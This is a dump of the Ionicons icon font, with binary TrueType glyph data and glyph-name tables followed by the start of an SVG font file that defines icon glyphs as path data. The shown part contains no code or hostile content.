*$PB,#LB,"!,%$0'{*!
(
0 P82#"54?##"54?##"5?##"54?.4674&5463226�(7.#	%5	.$ -% +
*$PB,#LB,"!,%$0'P�0#+3;C2#!"&4623&54264&"264&"6"264&2"&4&"264&2"&4D\@@.��.@@\@5�5�7N66NN77N6o((J4&&4&�((J4&&4&0A^AA^AA/>!!>/P77P7�7P77PX((,&4&&4((,&4&&4P�0#+32#!"&4623&54264&"264&"62"&4&2"&4D\@@.��.@@\@5�5�4&&4&&4&&4&,((�((0A^AA^AA/@@/o&4&&4&&4&&4J((((0�`=4767557">37'12]��.)'$�)B'#WF��0 V24P��P;�$%
	;.Aaa0�`=47675512]��.)'$0 V24P��P;@l6"&46355"2653�jKK5``-??Z?@KjK,@88?Z??-5����"%3"&46355"26&2"&4264&"<KjKK5``-??Z?¬zz�z��pp�p�5KKjK,@88?Z??�z�zz���p�pp�����2"&4265#"&4637'"z�zz�z�jK?Z??-``5K�z�zz��K5-??Z?88@,Kj��27'74&"3267#"&4p�p7	FC	3i�iiJ;]c?Pp�pP5	DD	4Jhi�iC6:Ip�0�P <_?"&'#7#273'3.#"'763272#!"&=46;533>;254+"'.'./#"+"3!2�B2&')4"&'(!#

��

"
XL>X	<@�. 22%�%33%
�

�
ϰ		�
0�P*<2#!"&=46;533>;27'"&'3'32?#&'&#"7632#b

��

"
X+4)'&2B.&#!( 
�

�
�%22 .-3%%@�@'=77''���ర���%ee�dd_j{{�{{�@�@7''����@{{�{{���@�-<HR]dl276764'.67"&546767676%>7>767.'&'6767&''&'>7'67&'&'6	61-	#v#	2"O�O./'
36��
PB1
�
'	;$?:B�#-
'	.
  
.%73+JU8HH84?	
"1
	)
XH		
! $(��@�(0"&546767676%67'&'>7'&'6@"O�O./'
36��B1
�?:B�#-
@+JU8HH84?	%
XY "(��%'#"&462'&"2764l"l(+?YY~YC#dFFd#$�m"mZ~YY?,�#FdF#$b��
%'#"&4623264&"�q)7?YY~Y!�'98PPpPq!Y~YY?6)'PpPP89�p#5!623#"'!5362!!"'#5!623#"'!
6
[[
6
��[
6
��
6
[
6
[[
6
��H � � �h#+3;CKS"2&2"&4"2&2"&4&"2&2"&4!!464&#533#464&!5!3#464&'!5P  0  �  O��_QQQQ_��^QQ^��X 0�� 0� 0�����'5F"#5267>73467>;'7'7'7#"'7;/.#524&'#.-0%#!*#3-:%4cc3cc4^;=03�3#*"!(, ? $0!$3+TR*�RT+_!.2*V0$ <��!5H%'7#"#5267>7>;'74"5.'.#52'7#"'>5>7;'*
>./%	$('7%3.>
V�7'($�VV
>.Z;?2.>�34 6#144HT1#�GH4_-33 @`37'#7'3=O��OP��G/`������������~~ @`37'#O��O`������ @`3#57/#�OO��� /`����@���� ~~ @`3#5�OO��`����@�0�P�7/'&7''&'"=&7675'&76''&?&'&767''&767'&766'&765&'&65426767&7676'&'676�	@		
A	

AA	A
		@
@@

�$I
!!
I$	$%
	$I
!!
I$

$$
��G[c2/&'&".'&5467#53&'&'/#7&'&'#51'3#626'#"''7&54632264&"���8
#&V&#
8�  !)'!$  @�@AK	

	
)��]T@

@T]�!((!
&&!)'!!@@�T	H��.BVpt%3&"&'&';5#6767?1'6767;57#4'7'&#"7326&2#&"#.'&54654'&"5?>27&42�
=�=

$ "$!q	?I
	

���85�58{4=<�<=4
	HLH	�@�"::""  

""
" "
LA	�]T@@@@T]�9OT=<<=TO9
		o@@����	7'373''7#���55��6���k+l��b��b�cck�LzK����	%'7'37'7#'#7��6��6��556+l�))�l+k�b�cc�b���zK{{KzL����	%'7'37��6��6��55�b�cc�b������!+9"&54?#'7673535'7'#264&#"7'&546753N2q�q3)	2B A0	)	ԐeeHGf�	-7INooNK6(	1&&+	(��d�deFGY
�����!/"&54?#'7673535'7'#654'5#N2q�q3)	2B A0	)	�	-7INooNK6(	1&&+	(���

 @`'/5353753!53/'776"&462&"264�_8��<�"!�""�!"�"!�@,,@,40##0#(88��<<�5""�!""!�"" ,@,,@[#0##0	 @`'5353753!53/'776"&462�_8��<�"!�""�!"�"!�@,,@,(88��<<�5""�!""!�"" ,@,,@Pp0\%#"'&'&'&76?63223276326&'.#""'#&/&'&'5&'&6/&#"326P'6+#-"	
		
3

."0

 ,-5p$($/<8$E

	,9	
1;-  &Pp0%#"'&'&'&76?6322327632P'6+#-"	
		
3p$($/<8$����#-9%++"&4624&#"#46%;.'>7.'�jIVzz�zpO@%!#��pO@H�B_VzB]Ux�Igz�zzVOp#!%@OpH@�]BzV_Bx����*853211#"&=1471>7163127.'665&'.'&'"�VzjIVzgI
�H@xU�zV#!%@���zVIgzVIj�@HUxcz@%!#0P:77#7372+53264&+'&'&#""#;#"&546754632�X4H8&&%

. *��`P0c&6'(
$	
  .#0P"737#73'3;3264&+.#";�(B4HUk!&&* .� ``P00'6&#.  ����#'+/37;?CGKO`2"&46764'.'&"274242642 426424264242&4242&42427"='&7'&62������T>>#&V&#>>#&V&Y���H�0�� P�^%&	��������>#&V&#>>#&V&#>h��������������zz??����$+/DKRY`d2"&46"224"6'&76'&776&6'&24"76'&#'&3256'&6'&6&&6'&24"��������$
9T	&%TC������[�g�Q���@?z7��\����)7'.613#"72"&472654&'#5�&=
Vzz�z=8o�oeJ�4#+�z�zz�=8OPooPKn_p����+2"&473264/2654&#35"&547'z�zz�zf+
^�ppPB\f�g38�z�zz�<
�pOPp`NdCHffHI38�����'/7CO6"264&2"&4%#"3!264&'2#!"&463$"264&2"&4'"3!264&#%!2#!"&46t((J4&&4&?�!//!!/0 (88(�(88(((J4&&4&�!0/!!//!�(88(�(88�((,&4&&46/B//B/8P88P8�((,&4&&46/B//B/8P88P8����#/762"&4%2#!"&463264&"$"&462"&463!2#6"264L((0(88(�(88(4&&4&T((��(88((88(4&&4&�((L8P88P8�&4&&4�((L8P88P8�&4&&4 �)-15#+"&5#53546;2'354+"#;25'537#7##' �PFqbF���]9
cO��#��"��������� �#'+3#+"&5#53546;2#354+"3'#5#37#�P�PFqbFG<O��#��������0�`%#'&'&''74.#552�
$').��[41$Q8��FWP ;P��P42O:,%AaaA.0�`%#'&'&''7�
$').��[41P ;P��P42��@�#'62#5&5424"'3!535462#54&"5!�  H���8=V=3J3��!! P��H+==+%33%������@�#62"'3!535462#54&"654&"3�  H���8=V=3J3`� p��H+==+%33%�!@�3!3#!#/7'#5�����p p_JJ70��0��*JJ7��@�3!335#5'7�����7JJ0��0��QQ7JJ@�@#'2+"&=46354&+";26?'7��
��	/bbQ@@@��ݼ		��5�5m!B!@�@2+"&=4637'�bb@��U5�5@@@'64''64'7'64'7'7'#5**''( O

�FF:@:�:
6�6�
'^'
+j
@
HL8�8P`� ?'#5:FF:�8�8P����"473+5354'&'&=47;'3&'#2767676=#hHPPH(
 @@ 
(=�5
	
�
	��� 	
, `` ,
	 �AA�
%%
����"73+5354'&'&=47;'3&'#hHPPH(
 @@ 
(=�5��� 	
, `` ,
	 �AA����")06;AGNU[agm2#1"&4633&''67.'#&'3#67&'#67&76753>7&'567#367'3&'7&'6'6&'67&'�VzzVVzzVK
&%
!$$'
L\	([[("	
"$$!
%  
K\
!([[("	&(3�5&$C(3�3(�z�zz�z|L.&"+	I&.5#0AA0#5.&K\I	+"&.1'0AA0#I(2	A(	0��(0
@(
	2����#(.5;AGLRX_dkrx2#1"&463264&#1"3#56''67&7&'&'67#67&'5&'3&'6767&'6673&'#67&'67&�VzzVVzzVPooPPopOBD! G#�1%�#T"KD###1$�"�T%c "YS%%22�z�zz�z�qo�ooPOp-Da
A@R
-�."-:1D-DL1D`@N-$H.	
#�".:-A
,$:-h."-:r
	.
����!)��"&5475462#6254&"264&"62"&465#534''7&''7&''7&''7&##=''''3#7777=367'767'767'767'742@@p�p@KjK�.d.8P8�^^�^dxTTxT




	
		

		


	��9VPppPV915KK5(88�x^�^^��TxTTx]







	
	
	


7������%&72&'6546$1'&=6&'#"5&?67v):	LM".M.�24&;����:,@

$'8�.�	:&21������	7'7'"&5467p :�Ƙ�nnJ=$2#� ������nnB!##1����%-5N%'&'&'&'&'&76''&'&7>&2"&464&"7#"'&#"#"'&7>2o	
	
2�
	
		2	�����0pp�pp�	
0"
	/:/�
		
΃������p�pp�pY
		
����?'''##'3'�'��'��.��.8z(���T*�E�PP�eP��``�88��`Y����?''3373�***�.��.8(��(z�YY�P��``���8����$/2"&47">;.4&"2'7#"/2654'#�������X561 �S'8''8�XB62N�Ji
l 
������WD]))0�8''8'CDe]-�(�iJ%&���� .C6462"7#"'157654'3&'27&'&54767'5676323&'##"�'8''8�bL

f
 ��N>.C
gr&4%&6] 


� 1�8''8'iOz�&			��
.A_0(�,�)
0*)
����#/2<HRU]e%'.'&=47>76'?'7>765754'.'&?&'&7'&75&"264$2"&4dR	QQ	Sd(u>" gI'l'"']&f�pp�p�㺃����Q
8
6P	6

8'6>)!(h5M>!(�p�pp�������	����
+.6PZ]7&'76''&'77&='./67>7662"&454'.'&7>76'6547>7'7�>''"] D]((''s�����kS	QQ	RO&]=�5):>36?	�������Q
8

6	P6
8
 >3����%/31?#'37#'3%!'%!#cb056py����#����QN(@231S�m--[��$����7!'%7#3#31/#���#����yp650bm3�m--D�132@(N��@�;a"+;+;327'#"'&=;7+=;7+=476327&'2&#"3#3#327#"=#535#5354�O$!""""!$O1'54gjvx33'173	7'-"��|u!.'7	37�2222�202#*
0%#A	000"	Au000u��@�%73#327#"=#535#535432&#"3#�|u!.%8
37�2222�73
8%-"���0
"	Au000uA	0����	!'%!/3#3/3?�#����l
���bc065��m--[��$��23�M'@����!'7#3/#?#'�#���
�560cb���m--2�@'N�3�pGf##"'327657#"'7326="#"'327654'&'1.5476327&'2&#"#"'73254&'&546�03y�3(#
')<'
 "1$ #$UDA7$&+4]EX�*?�Ճ>&�& '

 
@ F.<?&"D,:�p+#"'7326=72&#"#"'73254&'&546�y�1$ #$UDA7$&+4]EhՃ>&�@ F.<?&"D,: �`"2#!"&54635#'#35737#5##����8**88**�F*8*`���DD�`66````����<g"/&76762?6=4/&6=4;2#"/&=4?67"&54;23254&'.4632+"5&#"#�5'���()��� -'/$#$'"K,)#( *%  \�^^���
�
_

_
�
^{"

23		 ��Mj72#"&547632#"'&54767##'"'&'&'&'&'&547&767632676?654'&'&#"&#"&#";2�
	

	
		�
		
				~"		$@
	"
,D()"


B**2	)%VT�



$

s&:**;%'/'��=$	%>��&/QZ7#"&'&=46;5#5467632+3"7254#"+3'&=476;263>=32"3254�"&`"!h
'`.3.1!h!�
� +'
(79"	y
`
(5!!6! 	"&#�
n�����%'&76'&'&'&7&''&7>76'&''&7&'&7&'&767.'&7>&'&6337676'&>76726>7>7667676616'767676&766'76'6
"&	
!	 
	

<4< P^&%IK
D7hT0
	




<%�t+hQMw



$
*
	.
(1%#	,
5+, 

32)-%`8
����e����1""'&#"032636322>76322327457464>7>?&'&54>765&#"#'676.267632"###"'"&#&#""'.'&#""##"'&'5"'".#&'&=767654'&'.'&7>32&'&7"'&6276&42242�7F) 	.)	
Fy�'%
$&	%D%

'$

%�B2x @ �J6
#		
'
		'

	#
6J-+:		"


"
;+�0000����nv��%"###"'"&#&#""'.'&#""##"'&'5"'".#&'&=767654'&'.'&7>32&'&76267632$"2646&"'&26264&"�	%D%

'$

%'�'%
$&��			X2B			X


"
;+--+:		"�@5����	!##5#5!373'53#53 �pP@@`p��P@` 0�0���p@@0���@@P��������	
!##5#5#35# �pP@@`�0�0���p@@0���������3HU7>76&'./&7676;26"?327654'&2#"'7&54�	
 
	$
	��97=
+0M877ඁ�[73z( &	
	O77L4,
967ML7W�'u5<[����@2#"'7&546'&'.'&'&'&'&?676'4.'&+"7>����[73z( I
 
		
$	��'u5<[�
	����33#3##5#535'#53'37#?#'##3#33535#573�p0IXXPXXJ0pPpp;
c+zz+c
;DXX0XXC��00``00�������,$``%+����3#3##5#535'#53'37�p0IXXPXXJ0pPpp��00``00�����@�!6DEGY"&462&"264267"&=.=5#"&'#&'3276="'36236#37"&'&575265�^^�^kjIIjI��\W�W- -%56%4�6.@.K�SjSV�V0&4&&4I$$f&!�%%�	�PP
w[[�0



%%��@�7K4 "&=27676765'265."&'&=&5"'&'&57526@^�V
.$-�B^. ./.�)*h*)V�V0����$�

��$	`` �



$$���2:3#53##5#535.547''7'#53#76327#264&"p�(e
<,HH0HH-;
$!$.(�F+$!$&3* 	]F�B//B/��Ld/G4.@@.4G/$!$-L�(*$!$$\��/B//B���� ?3'7'#1&7'!'72�h'&�&'h
"3s� @��@ �,+j &��& F0X��!X0'����'!'727� @��@ �,+`X�� X0'(�D���$I���	�	�	�	H�	n	 �	�Created by Adam Bradley with FontForge 2.0 (http://fontforge.sf.net)Created by Adam Bradley with FontForge 2.0 (http://fontforge.sf.net)IoniconsIoniconsMediumMediumFontForge 2.0 : Ionicons : 14-1-2015FontForge 2.0 : Ionicons : 14-1-2015IoniconsIoniconsVersion 001.000 Version 001.000 IoniconsIonicons���	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~�����������������������������������������������������������������������������������������������uniF100uniF101uniF102uniF103uniF104uniF105uniF106uniF107uniF108uniF109uniF10AuniF10BuniF10CuniF10DuniF10EuniF10FuniF110uniF111uniF112uniF113uniF114uniF115uniF116uniF117uniF118uniF119uniF11AuniF11BuniF11CuniF11DuniF11EuniF11FuniF120uniF121uniF122uniF123uniF124uniF125uniF126uniF127uniF128uniF129uniF12AuniF12BuniF12CuniF12DuniF12EuniF12FuniF130uniF131uniF132uniF133uniF134uniF135uniF136uniF137uniF139uniF13AuniF13DuniF13EuniF13FuniF140uniF141uniF142uniF143uniF144uniF147uniF148uniF149uniF14AuniF14BuniF1F9uniF1FAuniF1FBuniF1FCuniF1FDuniF1FEuniF1FFuniF200uniF201uniF202uniF203uniF204uniF205uniF206uniF207uniF208uniF209uniF20AuniF20BuniF20CuniF20DuniF20EuniF20FuniF210uniF211uniF212uniF213uniF214uniF215uniF216uniF217uniF218uniF219uniF21AuniF21BuniF21CuniF21DuniF21EuniF21FuniF220uniF221uniF222uniF223uniF224uniF225uniF226uniF227uniF228uniF229uniF22AuniF22BuniF22CuniF22DuniF22EuniF22FuniF230uniF231uniF232uniF233uniF234uniF235uniF236uniF237uniF238uniF239uniF23AuniF23BuniF23CuniF23DuniF23EuniF23FuniF240uniF241uniF242uniF243uniF244uniF245uniF246uniF247uniF248uniF249uniF24AuniF24BuniF24CuniF24DuniF24EuniF24FuniF250uniF251uniF252uniF253uniF254uniF255uniF256uniF257uniF258uniF259uniF25AuniF25BuniF25CuniF25DuniF25EuniF25FuniF260uniF261uniF262uniF263uniF264uniF265uniF266uniF267uniF268uniF269uniF26AuniF26BuniF26CuniF26DuniF26EuniF26FuniF270uniF271uniF272uniF273uniF274uniF275uniF276uniF277uniF278uniF279uniF27AuniF27BuniF27CuniF27DuniF295uniF296uniF297uniF298uniF299uniF29AuniF29BuniF29CuniF29DuniF29EuniF29FuniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2AFuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BEuniF2BFuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C7uniF2C9uniF2CAuniF2D1uniF2D2uniF2D3uniF2D4uniF2D7uniF2D8uniF2D9uniF2DDuniF2E0uniF2E3uniF2E4uniF2E9uniF2EBuniF2ECuniF2F0uniF2F4uniF2F5uniF2F6uniF2F7uniF2F8uniF2FCuniF2FDuniF305uniF306uniF30AuniF30BuniF30CuniF30FuniF313uniF314uniF315uniF316uniF317uniF318uniF319uniF31AuniF31BuniF31CuniF31DuniF33FuniF340uniF341uniF342uniF343uniF344uniF345uniF346uniF347uniF348uniF349uniF34AuniF34BuniF34CuniF34DuniF34EuniF34FuniF350uniF351uniF352uniF353uniF354uniF355uniF356uniF357uniF358uniF359uniF35AuniF35BuniF35CuniF35DuniF35EuniF35FuniF360uniF361uniF362uniF363uniF364uniF365uniF366uniF367uniF368uniF369uniF36AuniF36BuniF36CuniF36DuniF36EuniF36FuniF370uniF371uniF372uniF373uniF374uniF375uniF376uniF377uniF378uniF379uniF37AuniF37BuniF37CuniF37DuniF37EuniF37FuniF380uniF381uniF382uniF383uniF384uniF385uniF386uniF387uniF388uniF389uniF38AuniF38BuniF38CuniF38DuniF38EuniF38FuniF390uniF391uniF392uniF393uniF394uniF395uniF396uniF397uniF398uniF399uniF39AuniF39BuniF39CuniF39DuniF39EuniF39FuniF3A0uniF3A1uniF3A2uniF3A3uniF3A4uniF3A5uniF3A6uniF3A7uniF3A8uniF3A9uniF3AAuniF3ABuniF3ACuniF3ADuniF3AEuniF3AFuniF3B0uniF3B1uniF3B2uniF3B3uniF3B4uniF3B5uniF3B6uniF3B7uniF3B8uniF3B9uniF3BAuniF3BBuniF3BCuniF3BDuniF3BEuniF3BFuniF3C0uniF3C1uniF3C2uniF3C3uniF3C4uniF3C5uniF3C6uniF3C7uniF3C8uniF3C9uniF3CAuniF3CBuniF3CCuniF3CDuniF3CEuniF3CFuniF3D0uniF3D1uniF3D2uniF3D3uniF3D4uniF3D5uniF3D6uniF3D7uniF3D8uniF3D9uniF3DAuniF3DBuniF3DCuniF3DDuniF3DEuniF3DFuniF3E0uniF3E1uniF3E2uniF3E3uniF3E4uniF3E5uniF3E6uniF3E7uniF3E8uniF3E9uniF3EAuniF3EBuniF3ECuniF3EDuniF3EEuniF3EFuniF3F0uniF3F1uniF3F2uniF3F3uniF3F4uniF3F5uniF3F6uniF3F7uniF3F8uniF3F9uniF3FAuniF3FBuniF3FCuniF3FDuniF3FEuniF3FFuniF400uniF401uniF402uniF403uniF404uniF405uniF406uniF407uniF408uniF409uniF40AuniF40BuniF40CuniF40DuniF40EuniF40FuniF410uniF411uniF412uniF413uniF414uniF415uniF416uniF417uniF418uniF419uniF41AuniF41BuniF41CuniF41DuniF41EuniF41FuniF420uniF421uniF422uniF423uniF424uniF425uniF426uniF427uniF428uniF429uniF42AuniF42BuniF42CuniF42DuniF42EuniF42FuniF430uniF431uniF432uniF433uniF434uniF435uniF436uniF437uniF438uniF439uniF43AuniF43BuniF43CuniF43DuniF43EuniF43FuniF440uniF441uniF442uniF443uniF444uniF445uniF446uniF447uniF448uniF449uniF44AuniF44BuniF44CuniF44DuniF44EuniF44FuniF450uniF451uniF452uniF453uniF454uniF455uniF456uniF457uniF458uniF459uniF45AuniF45BuniF45CuniF45DuniF45EuniF45FuniF460uniF461uniF462uniF463uniF464uniF465uniF466uniF467uniF468uniF469uniF46AuniF46BuniF46CuniF46DuniF46EuniF46FuniF470uniF471uniF472uniF473uniF474uniF475uniF476uniF477uniF478uniF479uniF47AuniF47BuniF47CuniF47DuniF47EuniF47FuniF480uniF481uniF482uniF483uniF484uniF485uniF486uniF487uniF488uniF489uniF48AuniF48BuniF48CuniF48DuniF48EuniF48FuniF490uniF491uniF492uniF493uniF494uniF495uniF496uniF497uniF498uniF499uniF49AuniF49BuniF49CuniF49DuniF49EuniF49FuniF4A0uniF4A1uniF4A2uniF4A3uniF4A4uniF4A5uniF4A6uniF4A7uniF4A8uniF4A9uniF4AAuniF4ABuniF4ACuniF4ADuniF4AEuniF4AFuniF4B0uniF4B1uniF4B2uniF4B3uniF4B4uniF4B5uniF4B6uniF4B7uniF4B8uniF4B9uniF4BAuniF4BBuniF4BCuniF4BDuniF4BEuniF4BFuniF4C0uniF4C1uniF4C2uniF4C3uniF4C4uniF4C5uniF4C6uniF4C7uniF4C8uniF4C9uniF4CAuniF4CBuniF4CCuniF4CDuniF4CEuniF4CFuniF4D0uniF4D1uniF4D2uniF4D3uniF4D4uniF4D5uniF4D6uniF4D7uniF4D8uniF4D9uniF4DAuniF4DBuniF4DCuniF4DDuniF4DEuniF4DFuniF4E0uniF4E1uniF4E2uniF4E3uniF4E4uniF4E5uniF4E6uniF4E7uniF4E8uniF4E9uniF4EAuniF4EBuniF4ECuniF4EDuniF4EEuniF4EFuniF4F0uniF4F1uniF4F2uniF4F3uniF4F4uniF4F5uniF4F6uniF4F7���=����,��.PK!�ج�

fonts/ionicons.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<!--
2015-1-14: Created.
-->
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>
Created by FontForge 20120731 at Wed Jan 14 22:40:14 2015
 By Adam Bradley
Created by Adam Bradley with FontForge 2.0 (http://fontforge.sf.net)
</metadata>
<defs>
<font id="Ionicons" horiz-adv-x="448" >
  <font-face 
    font-family="Ionicons"
    font-weight="500"
    font-stretch="normal"
    units-per-em="512"
    panose-1="2 0 6 3 0 0 0 0 0 0"
    ascent="448"
    descent="-64"
    bbox="-0.54049 -64 512.487 448"
    underline-thickness="25.6"
    underline-position="-51.2"
    unicode-range="U+F100-F4F7"
  />
    <missing-glyph />
    <glyph glyph-name="ion-alert-circled" unicode="&#xf100;" 
d="M445 26c3 -5 5 -13 2 -18s-8 -8 -14 -8h-418c-6 0 -11 3 -14 8s-1 13 2 18l207 349c3 5 8 9 14 9s11 -4 14 -9zM256 48v48h-64v-48h64zM256 128v144h-64v-144h64z" />
    <glyph glyph-name="ion-alert" unicode="&#xf101;" horiz-adv-x="128" 
d="M128 -32h-128v96h128v-96zM112 128h-96l-16 288h128z" />
    <glyph glyph-name="ion-android-add-circle" unicode="&#xf359;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM315 171v42h-86v86h-42v-86h-86v-42h86v-86h42v86h86z" />
    <glyph glyph-name="ion-android-add" unicode="&#xf2c7;" horiz-adv-x="320" 
d="M320 171h-139v-139h-42v139h-139v42h139v139h42v-139h139v-42z" />
    <glyph glyph-name="ion-android-alarm-clock" unicode="&#xf35a;" horiz-adv-x="428" 
d="M428 323l-28 -33l-98 82l28 33zM125 373l-97 -83l-28 33l97 83zM225 275v0v-111l85 -50l-16 -27l-101 61v127h32zM214 360c106 0 193 -86 193 -191s-87 -191 -193 -191c-107 0 -193 86 -193 191s86 191 193 191zM214 20c82 0 150 66 150 149c0 82 -68 149 -150 149
s-150 -67 -150 -149s68 -149 150 -149z" />
    <glyph glyph-name="ion-android-alert" unicode="&#xf35b;" horiz-adv-x="416" 
d="M208 400c114 0 208 -94 208 -208s-94 -208 -208 -208s-208 94 -208 208s94 208 208 208zM232 88v40h-48v-40h48zM232 176v128h-48v-128h48z" />
    <glyph glyph-name="ion-android-apps" unicode="&#xf35c;" horiz-adv-x="320" 
d="M0 272v80h80v-80h-80zM120 32v80h80v-80h-80zM0 32v80h80v-80h-80zM0 152v80h80v-80h-80zM120 152v80h80v-80h-80zM240 352h80v-80h-80v80zM120 272v80h80v-80h-80zM240 152v80h80v-80h-80zM240 32v80h80v-80h-80z" />
    <glyph glyph-name="ion-android-archive" unicode="&#xf2c9;" horiz-adv-x="416" 
d="M406 348c7 -7 10 -17 10 -29v-289c0 -25 -21 -46 -46 -46h-324c-25 0 -46 21 -46 46v289c0 12 3 22 10 29l33 39c6 8 16 13 26 13h278c10 0 20 -5 26 -13zM208 65l127 127h-81v46h-92v-46h-81zM49 354h317l-22 23h-277z" />
    <glyph glyph-name="ion-android-arrow-back" unicode="&#xf2ca;" horiz-adv-x="342" 
d="M342 213v-42h-260l119 -120l-30 -30l-171 171l171 171l31 -30l-120 -120h260z" />
    <glyph glyph-name="ion-android-arrow-down" unicode="&#xf35d;" horiz-adv-x="342" 
d="M192 363v-260l120 120l30 -31l-171 -171l-171 171l30 30l120 -119v260h42z" />
    <glyph glyph-name="ion-android-arrow-dropdown-circle" unicode="&#xf35e;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 128l96 96h-192z" />
    <glyph glyph-name="ion-android-arrow-dropdown" unicode="&#xf35f;" horiz-adv-x="256" 
d="M0 256h256l-128 -128z" />
    <glyph glyph-name="ion-android-arrow-dropleft-circle" unicode="&#xf360;" horiz-adv-x="416" 
d="M416 192c0 -115 -93 -208 -208 -208s-208 93 -208 208s93 208 208 208s208 -93 208 -208zM144 192l96 -96v192z" />
    <glyph glyph-name="ion-android-arrow-dropleft" unicode="&#xf361;" horiz-adv-x="128" 
d="M128 320v-256l-128 128z" />
    <glyph glyph-name="ion-android-arrow-dropright-circle" unicode="&#xf362;" horiz-adv-x="416" 
d="M208 -16c-115 0 -208 93 -208 208s93 208 208 208s208 -93 208 -208s-93 -208 -208 -208zM176 96l96 96l-96 96v-192z" />
    <glyph glyph-name="ion-android-arrow-dropright" unicode="&#xf363;" horiz-adv-x="128" 
d="M0 320l128 -128l-128 -128v256z" />
    <glyph glyph-name="ion-android-arrow-dropup-circle" unicode="&#xf364;" horiz-adv-x="416" 
d="M416 192c0 -115 -93 -208 -208 -208s-208 93 -208 208s93 208 208 208s208 -93 208 -208zM304 160l-96 96l-96 -96h192z" />
    <glyph glyph-name="ion-android-arrow-dropup" unicode="&#xf365;" horiz-adv-x="256" 
d="M0 128l128 128l128 -128h-256z" />
    <glyph glyph-name="ion-android-arrow-forward" unicode="&#xf30f;" horiz-adv-x="342" 
d="M0 171v42h260l-119 120l30 30l171 -171l-171 -171l-31 30l120 120h-260z" />
    <glyph glyph-name="ion-android-arrow-up" unicode="&#xf366;" horiz-adv-x="342" 
d="M192 21h-42v260l-120 -119l-30 30l171 171l171 -171l-30 -31l-120 120v-260z" />
    <glyph glyph-name="ion-android-attach" unicode="&#xf367;" horiz-adv-x="235" 
d="M203 320h32v-235c0 -65 -53 -117 -118 -117s-117 52 -117 117v246c0 47 38 85 85 85s86 -38 86 -85v-246c0 -30 -24 -53 -54 -53s-53 23 -53 53v203h32v-203c0 -12 9 -21 21 -21s22 9 22 21v246c0 30 -24 53 -54 53s-53 -23 -53 -53v-246c0 -47 38 -85 85 -85
s86 38 86 85v235z" />
    <glyph glyph-name="ion-android-bar" unicode="&#xf368;" horiz-adv-x="384" 
d="M171 171l-171 170v43h384v-43l-171 -170v-131h107v-40h-256v40h107v131zM96 299h192l43 42h-278z" />
    <glyph glyph-name="ion-android-bicycle" unicode="&#xf369;" 
d="M299 317c-19 0 -34 14 -34 33s15 34 34 34s33 -15 33 -34s-14 -33 -33 -33zM355 187c51 0 93 -43 93 -94s-42 -93 -93 -93s-94 42 -94 93s43 94 94 94zM355 28c36 0 65 29 65 65s-29 66 -65 66s-66 -30 -66 -66s30 -65 66 -65zM274 224l-30 45l-43 -45l39 -32v-112h-32
v86l-61 38c-9 6 -19 15 -19 27c0 8 3 17 9 23l72 69c6 6 14 9 22 9c11 0 22 -7 28 -16l34 -60h59v-32h-78zM93 187c51 0 94 -43 94 -94s-43 -93 -94 -93s-93 42 -93 93s42 94 93 94zM93 28c36 0 66 29 66 65s-30 66 -66 66s-65 -30 -65 -66s29 -65 65 -65z" />
    <glyph glyph-name="ion-android-boat" unicode="&#xf36a;" 
d="M52 35l-51 139c-2 6 -1 12 1 17s8 8 13 10l38 13v98c0 23 20 43 43 43h64l16 53h96l16 -53h64c23 0 43 -20 43 -43v-98l38 -13c5 -2 11 -5 13 -10s3 -12 1 -17l-51 -139h-1c-34 0 -65 20 -86 43c-21 -23 -51 -43 -85 -43s-64 19 -85 42c-21 -23 -52 -42 -86 -42h-1z
M96 312v-84l128 41l128 -41v84h-256zM309 40c0 0 59 -64 107 -64h-21c-30 0 -59 12 -86 26c-53 -28 -117 -28 -170 0c-27 -14 -56 -26 -86 -26h-21c49 0 107 64 107 64c52 -36 118 -36 170 0z" />
    <glyph glyph-name="ion-android-bookmark" unicode="&#xf36b;" horiz-adv-x="288" 
d="M248 384c22 0 40 -18 40 -40v-344l-144 64l-144 -64v344c0 22 18 40 40 40h208z" />
    <glyph glyph-name="ion-android-bulb" unicode="&#xf36c;" 
d="M224 278c-25 0 -50 -10 -68 -28s-28 -43 -28 -68c0 -34 18 -66 48 -83l16 -10v-18v-71h64v71v18l16 10c15 8 27 20 35 34c9 15 13 31 13 49c0 25 -10 50 -28 68s-43 28 -68 28zM245 416v0v-64h-42v64h42zM374 362v0l30 -30l-38 -38l-30 30zM74 362v0l38 -38l-30 -30
l-38 38zM224 310v0c70 0 128 -58 128 -128c0 -48 -26 -89 -64 -111v-103h-128v103c-38 22 -64 64 -64 111c0 70 58 128 128 128zM448 203v0v-42h-64v42h64zM64 203v0v-42h-64v42h64z" />
    <glyph glyph-name="ion-android-bus" unicode="&#xf36d;" horiz-adv-x="352" 
d="M0 96v204c0 75 82 84 176 84s176 -9 176 -84v-204c0 -18 -14 -24 -27 -36v-39c0 -12 -9 -21 -21 -21h-21c-12 0 -22 9 -22 21v22h-170v-22c0 -12 -10 -21 -22 -21h-21c-12 0 -21 9 -21 21v39c-13 12 -27 17 -27 36zM80 80c18 0 32 14 32 32s-14 32 -32 32
